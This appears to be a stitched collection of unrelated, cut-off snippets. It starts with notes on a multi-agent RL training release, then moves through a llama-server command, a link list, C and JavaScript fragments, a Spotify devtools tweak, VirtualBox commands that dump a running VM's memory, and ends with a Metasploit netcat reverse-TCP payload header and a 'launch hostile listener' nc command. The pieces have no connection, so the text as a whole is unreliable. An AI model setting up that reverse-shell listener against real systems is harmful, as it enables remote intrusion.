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Training AI "Companies": Collective Rewards, Credit Assignment, and Cybernetic Multi-Agent Orgs

Audience: Intermediate AI users (comfortable with transformers, RLHF, and agent pipelines)
Trigger: @somewheresy's post "I am begging more people to study cybernetics and follow @thrialectics" (Oct 2026), which linked to General Reasoning's RLCR release and an Avalon-M1 video talk.
Date: written 2026-10-24, after web research + local transcript of the video (/tmp/rlcr-plain.txt)

1. TL;DR

On Oct 23, 2026, General Reasoning (GR, a small team) released RLCR — Reinforcement Learning from Collective Rewards, a recipe for training language models to work as a company: a CEO agent hires specialist agents, all talk on a shared message board with a shared workspace, and every agent receives the same team-level reward — there is no per-agent credit assignment. They used it to train Avalon-M1 (120B total / 12B active, from a Nemotron-3-Super base), and the team's headline clai

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llama-server \                                                                                                                 
  --alias qwen3.8-27b-nvfp4-mtp-q8attn \                                                                                       
  -m "$HOME/.lmstudio/models/utautako/Qwen3.8-27B-NVFP4-MTP-Q8attn-GGUF/Qwen3.8-27B-NVFP4-MTP-Q8attn.gguf" \                   
  --mmproj "$HOME/.lmstudio/models/utautako/Qwen3.8-27B-NVFP4-MTP-Q8attn-GGUF/mmproj-Qwen3.8-27B-NVFP4-BF16.gguf" \            
  --spec-type draft-mtp \                                                                                                      
  --spec-draft-n-max 4 \                                                                                                       
  -ngl 99 \                                                                                                                    
  -c 262144 \                                                                                                                  

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• figure out what is jev https://x.com/k_grajeda/status/2099952715430596710
  • talk by diogo https://x.com/0xCodez/status/2100981133508817336
  • use openjev to set my light on/off red/blue in 50ms
  • contextual editing
    • https://x.com/jackcheng/status/2100729670991802386
  • coding email rules
    • https://x.com/southpolesteve/status/2100767781868150938
      • do attn management on my own email feed first
      • local mail rules
• local categorization

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<p><a id="bm" href="#">Grok→MD</a></p>
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// this is the ECS lib

// Generational Index

// assemble an entity id
inline GID GI_eid(bool pair, CID gen, CID arch, CID arch_idx) {
  return  //
      (pair ? PAIR_BIT : 0U) |  //
      ((u32)gen << GEN_SHIFT) |  //
      ((u32)arch << ARCH_SHIFT) |  //

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Spotify Javascript Automation

I'm doing this because Spotify has an annoying bug, where it cannot set the volume properly when I click (it instead picks a random low-numbered value like 0.23, than the one I chose 0.9.)

1. open devtools (F12) > debugger > search
2. search for:

this._harmony.setVolume

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HOWTO: Snapshot & Analyze a VBox VM

VBoxManage controlvm "k8s-ctl3" pause

VBoxManage debugvm "k8s-ctl3" dumpvmcore --filename ~/k8s-ctl3-core.dump

user@FAFB09C2:~$ VBoxManage debugvm "k8s-ctl3" getregisters --cpu 0 rip
rip = 0xffffffff81ddde2b
user@FAFB09C2:~$ VBoxManage debugvm "k8s-ctl3" getregisters --cpu 1 rip

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#include <stdio.h>
#include <stdlib.h>

int do_something(const char *filename) {
    FILE *file = NULL;
    char *buffer = NULL;
    int result = -1;

    file = fopen(filename, "r");
    if (!file) {

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const promiseBatch = async function* (concurrency, list, fn) {
  for (let p = [], i = 0, l = list.length; i < l || p.length > 0;) {
    if (i < l) {
      let _p;
      _p = fn(list[i]).then(r => [_p.__id, r]);
      _p.__id = i++;
      if (p.push(_p) < concurrency) {
        continue;
      }
    }

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# /usr/share/metasploit-framework/modules/payloads/singles/generic/nc_reverse_tcp.rb
# usage:
# # launch hostile listener
# $ sudo nc -vlp 80 -ns 192.168.119.198